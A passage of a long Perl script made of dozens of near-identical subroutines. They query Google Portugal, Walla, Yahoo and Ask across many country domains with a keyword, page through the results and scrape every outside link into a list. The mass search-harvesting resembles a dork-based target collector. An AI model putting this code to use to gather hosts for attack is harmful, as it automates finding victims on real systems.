  3064.     my $key = $_[0];
  3065.     for (my $i=0; $i<=1000; $i+=100){
  3066.         my $search = ("http://www.google.pt/search?q=".uri_escape($key)."&hl=&cr=countryPT&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  3067.         my $res = &search_engine_query($search);
  3068.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  3069.             my $link = $1;
  3070.             if ($link !~ /googlePT/){
  3071.                 my @grep = links($link);
  3072.                 push(@list,@grep);
  3073.             }
  3074.         }
  3075.     }
  3076.     return @list;
  3077. }
  3078.  
  3079. sub walla() {
  3080.     my @list;
  3081.     my $key = $_[0];
  3082.     for ($b=0; $b<=100; $b+=1) {
  3083.         my $search = ("http://search.walla.co.il/?q=".uri_escape($key)."&type=text&page=".$b);
  3084.         my $res = &search_engine_query($search);
  3085.         while ($res =~ m/<a href=\"http:\/\/(.+?)\" title=/g) {
  3086.             my $link = $1;
  3087.             if ($link !~ /walla\.co\.il/){
  3088.                 my @grep = &links($link);
  3089.                 push(@list,@grep);
  3090.             }
  3091.         }
  3092.     }
  3093.     return @list;
  3094. }
  3095.  
  3096. sub yahoo(){
  3097.     my @list;
  3098.     my $key = $_[0];
  3099.     for ($b=1; $b<=1000; $b+=10) {
  3100.         my $search = ("http://search.yahoo.com/search?p=".uri_escape($key)."&b=".$b);
  3101.         my $res = &search_engine_query($search);
  3102.         while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3103.             my $link = $1;
  3104.             if ($link !~ /yahoo\.com/){
  3105.                 my @grep = &links($link);
  3106.                 push(@list,@grep);
  3107.             }
  3108.         }
  3109.     }
  3110.     return @list;
  3111. }
  3112.  
  3113. sub yahooCA() {
  3114.     my @list;
  3115.     my $key = $_[0];
  3116.     for (my $i=1; $i<=1000; $i+=100) {
  3117.         my $search = ("http://CA.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=ca&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3118.         my $res = &search_engine_query($search);
  3119.         while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3120.             my $link = $1;
  3121.             if ($link!~ /yahooCA/){
  3122.                 my @grep = links($link);
  3123.                 push(@list,@grep);
  3124.             }
  3125.         }
  3126.     }
  3127.     return @list;
  3128. }
  3129.  
  3130. sub yahooUK() {
  3131.     my @list;
  3132.     my $key = $_[0];
  3133.     for (my $i=1; $i<=1000; $i+=100) {
  3134.         my $search = ("http://UK.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=gb&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3135.         my $res = &search_engine_query($search);
  3136.         while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3137.             my $link = $1;
  3138.             if ($link!~ /yahooUK/){
  3139.                 my @grep = links($link);
  3140.                 push(@list,@grep);
  3141.             }
  3142.         }
  3143.     }
  3144.     return @list;
  3145. }
  3146. sleep(4);
  3147. sub yahooDE() {
  3148.     my @list;
  3149.     my $key = $_[0];
  3150.     for (my $i=1; $i<=1000; $i+=100) {
  3151.         my $search = ("http://DE.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=de&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3152.         my $res = &search_engine_query($search);
  3153.         while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3154.             my $link = $1;
  3155.             if ($link!~ /yahooDE/){
  3156.                 my @grep = links($link);
  3157.                 push(@list,@grep);
  3158.             }
  3159.         }
  3160.     }
  3161.     return @list;
  3162. }
  3163.  
  3164. sub yahooFR() {
  3165.     my @list;
  3166.     my $key = $_[0];
  3167.     for (my $i=1; $i<=1000; $i+=100) {
  3168.         my $search = ("http://FR.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=fr&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3169.         my $res = &search_engine_query($search);
  3170.         while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3171.             my $link = $1;
  3172.             if ($link!~ /yahooFR/){
  3173.                 my @grep = links($link);
  3174.                 push(@list,@grep);
  3175.             }
  3176.         }
  3177.     }
  3178.     return @list;
  3179. }
  3180.  
  3181. sub yahooES() {
  3182.     my @list;
  3183.     my $key = $_[0];
  3184.     for (my $i=1; $i<=1000; $i+=100) {
  3185.         my $search = ("http://ES.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=es&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3186.         my $res = &search_engine_query($search);
  3187.         while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3188.             my $link = $1;
  3189.             if ($link!~ /yahooES/){
  3190.                 my @grep = links($link);
  3191.                 push(@list,@grep);
  3192.             }
  3193.         }
  3194.     }
  3195.     return @list;
  3196. }
  3197. sleep(4);
  3198. sub yahooIT() {
  3199.     my @list;
  3200.     my $key = $_[0];
  3201.     for (my $i=1; $i<=1000; $i+=100) {
  3202.         my $search = ("http://IT.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=it&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3203.         my $res = &search_engine_query($search);
  3204.         while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3205.             my $link = $1;
  3206.             if ($link!~ /yahooIT/){
  3207.                 my @grep = links($link);
  3208.                 push(@list,@grep);
  3209.             }
  3210.         }
  3211.     }
  3212.     return @list;
  3213. }
  3214.  
  3215. sub yahooHK() {
  3216.     my @list;
  3217.     my $key = $_[0];
  3218.     for (my $i=1; $i<=1000; $i+=100) {
  3219.         my $search = ("http://HK.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=hk&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3220.         my $res = &search_engine_query($search);
  3221.         while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3222.             my $link = $1;
  3223.             if ($link!~ /yahooHK/){
  3224.                 my @grep = links($link);
  3225.                 push(@list,@grep);
  3226.             }
  3227.         }
  3228.     }
  3229.     return @list;
  3230. }
  3231.  
  3232. sub yahooID() {
  3233.     my @list;
  3234.     my $key = $_[0];
  3235.     for (my $i=1; $i<=1000; $i+=100) {
  3236.         my $search = ("http://ID.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=id&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3237.         my $res = &search_engine_query($search);
  3238.         while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3239.             my $link = $1;
  3240.             if ($link!~ /yahooID/){
  3241.                 my @grep = links($link);
  3242.                 push(@list,@grep);
  3243.             }
  3244.         }
  3245.     }
  3246.     return @list;
  3247. }
  3248. sleep(4);
  3249. sub yahooIN() {
  3250.     my @list;
  3251.     my $key = $_[0];
  3252.     for (my $i=1; $i<=1000; $i+=100) {
  3253.         my $search = ("http://IN.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=in&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3254.         my $res = &search_engine_query($search);
  3255.         while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3256.             my $link = $1;
  3257.             if ($link!~ /yahooIN/){
  3258.                 my @grep = links($link);
  3259.                 push(@list,@grep);
  3260.             }
  3261.         }
  3262.     }
  3263.     return @list;
  3264. }
  3265.  
  3266. sub yahooAU() {
  3267.     my @list;
  3268.     my $key = $_[0];
  3269.     for (my $i=1; $i<=1000; $i+=100) {
  3270.         my $search = ("http://AU.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=au&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3271.         my $res = &search_engine_query($search);
  3272.         while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3273.             my $link = $1;
  3274.             if ($link!~ /yahooAU/){
  3275.                 my @grep = links($link);
  3276.                 push(@list,@grep);
  3277.             }
  3278.         }
  3279.     }
  3280.     return @list;
  3281. }
  3282.  
  3283. sub yahooMX() {
  3284.     my @list;
  3285.     my $key = $_[0];
  3286.     for (my $i=1; $i<=1000; $i+=100) {
  3287.         my $search = ("http://MX.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=mx&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3288.         my $res = &search_engine_query($search);
  3289.         while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3290.             my $link = $1;
  3291.             if ($link!~ /yahooMX/){
  3292.                 my @grep = links($link);
  3293.                 push(@list,@grep);
  3294.             }
  3295.         }
  3296.     }
  3297.     return @list;
  3298. }
  3299. sleep(4);
  3300. sub yahooTW() {
  3301.     my @list;
  3302.     my $key = $_[0];
  3303.     for (my $i=1; $i<=1000; $i+=100) {
  3304.         my $search = ("http://TW.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=tw&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3305.         my $res = &search_engine_query($search);
  3306.         while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3307.             my $link = $1;
  3308.             if ($link!~ /yahooTW/){
  3309.                 my @grep = links($link);
  3310.                 push(@list,@grep);
  3311.             }
  3312.         }
  3313.     }
  3314.     return @list;
  3315. }
  3316.  
  3317. sub yahooBR() {
  3318.     my @list;
  3319.     my $key = $_[0];
  3320.     for (my $i=1; $i<=1000; $i+=100) {
  3321.         my $search = ("http://BR.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=br&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3322.         my $res = &search_engine_query($search);
  3323.         while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3324.             my $link = $1;
  3325.             if ($link!~ /yahooBR/){
  3326.                 my @grep = links($link);
  3327.                 push(@list,@grep);
  3328.             }
  3329.         }
  3330.     }
  3331.     return @list;
  3332. }
  3333.  
  3334. sub yahooAR() {
  3335.     my @list;
  3336.     my $key = $_[0];
  3337.     for (my $i=1; $i<=1000; $i+=100) {
  3338.         my $search = ("http://AR.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=ar&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3339.         my $res = &search_engine_query($search);
  3340.         while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3341.             my $link = $1;
  3342.             if ($link!~ /yahooAR/){
  3343.                 my @grep = links($link);
  3344.                 push(@list,@grep);
  3345.             }
  3346.         }
  3347.     }
  3348.     return @list;
  3349. }
  3350. sleep(4);
  3351. sub yahooNL() {
  3352.     my @list;
  3353.     my $key = $_[0];
  3354.     for (my $i=1; $i<=1000; $i+=100) {
  3355.         my $search = ("http://NL.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=nl&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3356.         my $res = &search_engine_query($search);
  3357.         while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3358.             my $link = $1;
  3359.             if ($link!~ /yahooNL/){
  3360.                 my @grep = links($link);
  3361.                 push(@list,@grep);
  3362.             }
  3363.         }
  3364.     }
  3365.     return @list;
  3366. }
  3367.  
  3368. sub yahooDK() {
  3369.     my @list;
  3370.     my $key = $_[0];
  3371.     for (my $i=1; $i<=1000; $i+=100) {
  3372.         my $search = ("http://DK.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=dk&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3373.         my $res = &search_engine_query($search);
  3374.         while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3375.             my $link = $1;
  3376.             if ($link!~ /yahooDK/){
  3377.                 my @grep = links($link);
  3378.                 push(@list,@grep);
  3379.             }
  3380.         }
  3381.     }
  3382.     return @list;
  3383. }
  3384.  
  3385. sub yahooPH() {
  3386.     my @list;
  3387.     my $key = $_[0];
  3388.     for (my $i=1; $i<=1000; $i+=100) {
  3389.         my $search = ("http://PH.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=ph&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3390.         my $res = &search_engine_query($search);
  3391.         while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3392.             my $link = $1;
  3393.             if ($link!~ /yahooPH/){
  3394.                 my @grep = links($link);
  3395.                 push(@list,@grep);
  3396.             }
  3397.         }
  3398.     }
  3399.     return @list;
  3400. }
  3401. sleep(4);
  3402. sub yahooCL() {
  3403.     my @list;
  3404.     my $key = $_[0];
  3405.     for (my $i=1; $i<=1000; $i+=100) {
  3406.         my $search = ("http://CL.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=cl&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3407.         my $res = &search_engine_query($search);
  3408.         while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3409.             my $link = $1;
  3410.             if ($link!~ /yahooCL/){
  3411.                 my @grep = links($link);
  3412.                 push(@list,@grep);
  3413.             }
  3414.         }
  3415.     }
  3416.     return @list;
  3417. }
  3418.  
  3419. sub yahooRU() {
  3420.     my @list;
  3421.     my $key = $_[0];
  3422.     for (my $i=1; $i<=1000; $i+=100) {
  3423.         my $search = ("http://RU.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=ru&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3424.         my $res = &search_engine_query($search);
  3425.         while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3426.             my $link = $1;
  3427.             if ($link!~ /yahooRU/){
  3428.                 my @grep = links($link);
  3429.                 push(@list,@grep);
  3430.             }
  3431.         }
  3432.     }
  3433.     return @list;
  3434. }
  3435.  
  3436. sub yahooCH() {
  3437.     my @list;
  3438.     my $key = $_[0];
  3439.     for (my $i=1; $i<=1000; $i+=100) {
  3440.         my $search = ("http://CH.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=ch&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3441.         my $res = &search_engine_query($search);
  3442.         while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3443.             my $link = $1;
  3444.             if ($link!~ /yahooCH/){
  3445.                 my @grep = links($link);
  3446.                 push(@list,@grep);
  3447.             }
  3448.         }
  3449.     }
  3450.     return @list;
  3451. }
  3452. sleep(4);
  3453. sub yahooCO() {
  3454.     my @list;
  3455.     my $key = $_[0];
  3456.     for (my $i=1; $i<=1000; $i+=100) {
  3457.         my $search = ("http://CO.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=co&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3458.         my $res = &search_engine_query($search);
  3459.         while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3460.             my $link = $1;
  3461.             if ($link!~ /yahooCO/){
  3462.                 my @grep = links($link);
  3463.                 push(@list,@grep);
  3464.             }
  3465.         }
  3466.     }
  3467.     return @list;
  3468. }
  3469.  
  3470. sub yahooFI() {
  3471.     my @list;
  3472.     my $key = $_[0];
  3473.     for (my $i=1; $i<=1000; $i+=100) {
  3474.         my $search = ("http://FI.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=fi&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3475.         my $res = &search_engine_query($search);
  3476.         while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3477.             my $link = $1;
  3478.             if ($link!~ /yahooFI/){
  3479.                 my @grep = links($link);
  3480.                 push(@list,@grep);
  3481.             }
  3482.         }
  3483.     }
  3484.     return @list;
  3485. }
  3486.  
  3487. sub yahooRO() {
  3488.     my @list;
  3489.     my $key = $_[0];
  3490.     for (my $i=1; $i<=1000; $i+=100) {
  3491.         my $search = ("http://RO.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=ro&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3492.         my $res = &search_engine_query($search);
  3493.         while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3494.             my $link = $1;
  3495.             if ($link!~ /yahooRO/){
  3496.                 my @grep = links($link);
  3497.                 push(@list,@grep);
  3498.             }
  3499.         }
  3500.     }
  3501.     return @list;
  3502. }
  3503. sleep(4);
  3504. sub yahooVE() {
  3505.     my @list;
  3506.     my $key = $_[0];
  3507.     for (my $i=1; $i<=1000; $i+=100) {
  3508.         my $search = ("http://VE.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=ve&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3509.         my $res = &search_engine_query($search);
  3510.         while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3511.             my $link = $1;
  3512.             if ($link!~ /yahooVE/){
  3513.                 my @grep = links($link);
  3514.                 push(@list,@grep);
  3515.             }
  3516.         }
  3517.     }
  3518.     return @list;
  3519. }
  3520.  
  3521. sub yahooAT() {
  3522.     my @list;
  3523.     my $key = $_[0];
  3524.     for (my $i=1; $i<=1000; $i+=100) {
  3525.         my $search = ("http://AT.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=at&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3526.         my $res = &search_engine_query($search);
  3527.         while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3528.             my $link = $1;
  3529.             if ($link!~ /yahooAT/){
  3530.                 my @grep = links($link);
  3531.                 push(@list,@grep);
  3532.             }
  3533.         }
  3534.     }
  3535.     return @list;
  3536. }
  3537.  
  3538. sub yahooPL() {
  3539.     my @list;
  3540.     my $key = $_[0];
  3541.     for (my $i=1; $i<=1000; $i+=100) {
  3542.         my $search = ("http://PL.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=pl&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3543.         my $res = &search_engine_query($search);
  3544.         while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3545.             my $link = $1;
  3546.             if ($link!~ /yahooPL/){
  3547.                 my @grep = links($link);
  3548.                 push(@list,@grep);
  3549.             }
  3550.         }
  3551.     }
  3552.     return @list;
  3553. }
  3554. sleep(4);
  3555. sub yahooKR() {
  3556.     my @list;
  3557.     my $key = $_[0];
  3558.     for (my $i=1; $i<=1000; $i+=100) {
  3559.         my $search = ("http://KR.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=kr&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3560.         my $res = &search_engine_query($search);
  3561.         while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3562.             my $link = $1;
  3563.             if ($link!~ /yahooKR/){
  3564.                 my @grep = links($link);
  3565.                 push(@list,@grep);
  3566.             }
  3567.         }
  3568.     }
  3569.     return @list;
  3570. }
  3571.  
  3572. sub yahooNZ() {
  3573.     my @list;
  3574.     my $key = $_[0];
  3575.     for (my $i=1; $i<=1000; $i+=100) {
  3576.         my $search = ("http://NZ.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=nz&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3577.         my $res = &search_engine_query($search);
  3578.         while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3579.             my $link = $1;
  3580.             if ($link!~ /yahooNZ/){
  3581.                 my @grep = links($link);
  3582.                 push(@list,@grep);
  3583.             }
  3584.         }
  3585.     }
  3586.     return @list;
  3587. }
  3588.  
  3589. sub yahooGR() {
  3590.     my @list;
  3591.     my $key = $_[0];
  3592.     for (my $i=1; $i<=1000; $i+=100) {
  3593.         my $search = ("http://GR.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=gr&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3594.         my $res = &search_engine_query($search);
  3595.         while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3596.             my $link = $1;
  3597.             if ($link!~ /yahooGR/){
  3598.                 my @grep = links($link);
  3599.                 push(@list,@grep);
  3600.             }
  3601.         }
  3602.     }
  3603.     return @list;
  3604. }
  3605. sleep(4);
  3606. sub yahooPE() {
  3607.     my @list;
  3608.     my $key = $_[0];
  3609.     for (my $i=1; $i<=1000; $i+=100) {
  3610.         my $search = ("http://PE.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".uri_escape($key)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=pe&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3611.         my $res = &search_engine_query($search);
  3612.         while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3613.             my $link = $1;
  3614.             if ($link!~ /yahooPE/){
  3615.                 my @grep = links($link);
  3616.                 push(@list,@grep);
  3617.             }
  3618.         }
  3619.     }
  3620.     return @list;
  3621. }
  3622.  
  3623. sub ask() {
  3624.     my @list;
  3625.     my $key = $_[0];
  3626.     for (my $i=1; $i<=1000; $i+=100) {
  3627.         my $search = ("http://uk.ask.com/web?q=".uri_escape($key)."&qsrc=1&frstpgo=0&o=0&l=dir&qid=05D10861868F8C7817DAE9A6B4D30795&page=".$i."&jss=");
  3628.         my $res = &search_engine_query($search);
  3629.         while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  3630.             my $link = $1;
  3631.             if ($link !~ /ask\.com/){
  3632.                 my @grep = &links($link);
  3633.                 push(@list,@grep);
  3634.             }
  3635.         }
  3636.     }
  3637.     return @list;
  3638. }
  3639.  
  3640. sub askCA() {
  3641.     my @list;
  3642.     my $key = $_[0];
  3643.     for (my $i=1; $i<=100; $i+=1) {
  3644.         my $search = ("http://ca.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  3645.         my $res = &search_engine_query($search);
  3646.         while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  3647.             my $link = $1;
  3648.             if ($link !~ /askCA\.com/){
  3649.                 my @grep = links($link);
  3650.                 push(@list,@grep);
  3651.             }
  3652.         }
  3653.     }
  3654.     return @list;
  3655. }
  3656. sleep(4);
  3657. sub askDE() {
  3658.     my @list;
  3659.     my $key = $_[0];
  3660.     for (my $i=1; $i<=100; $i+=1) {
  3661.         my $search = ("http://de.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  3662.         my $res = &search_engine_query($search);
  3663.         while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  3664.             my $link = $1;
  3665.             if ($link !~ /askDE\.com/){
  3666.                 my @grep = links($link);
  3667.                 push(@list,@grep);
  3668.             }
  3669.         }
  3670.     }
  3671.     return @list;
  3672. }
  3673.  
  3674. sub askIT() {
  3675.     my @list;
  3676.     my $key = $_[0];
  3677.     for (my $i=1; $i<=100; $i+=1) {
  3678.         my $search = ("http://it.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  3679.         my $res = &search_engine_query($search);
  3680.         while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  3681.             my $link = $1;
  3682.             if ($link !~ /askIT\.com/){
  3683.                 my @grep = links($link);
  3684.                 push(@list,@grep);
  3685.             }
  3686.         }
  3687.     }
  3688.     return @list;
  3689. }
  3690.  
  3691. sub askUK() {
  3692.     my @list;
  3693.     my $key = $_[0];
  3694.     for (my $i=1; $i<=100; $i+=1) {
  3695.         my $search = ("http://uk.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  3696.         my $res = &search_engine_query($search);
  3697.         while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  3698.             my $link = $1;
  3699.             if ($link !~ /askUK\.com/){
  3700.                 my @grep = links($link);
  3701.                 push(@list,@grep);
  3702.             }
  3703.         }
  3704.     }
  3705.     return @list;
  3706. }
  3707.  
  3708. sub askFR() {
  3709.     my @list;
  3710.     my $key = $_[0];
  3711.     for (my $i=1; $i<=100; $i+=1) {
  3712.         my $search = ("http://fr.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  3713.         my $res = &search_engine_query($search);
  3714.         while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
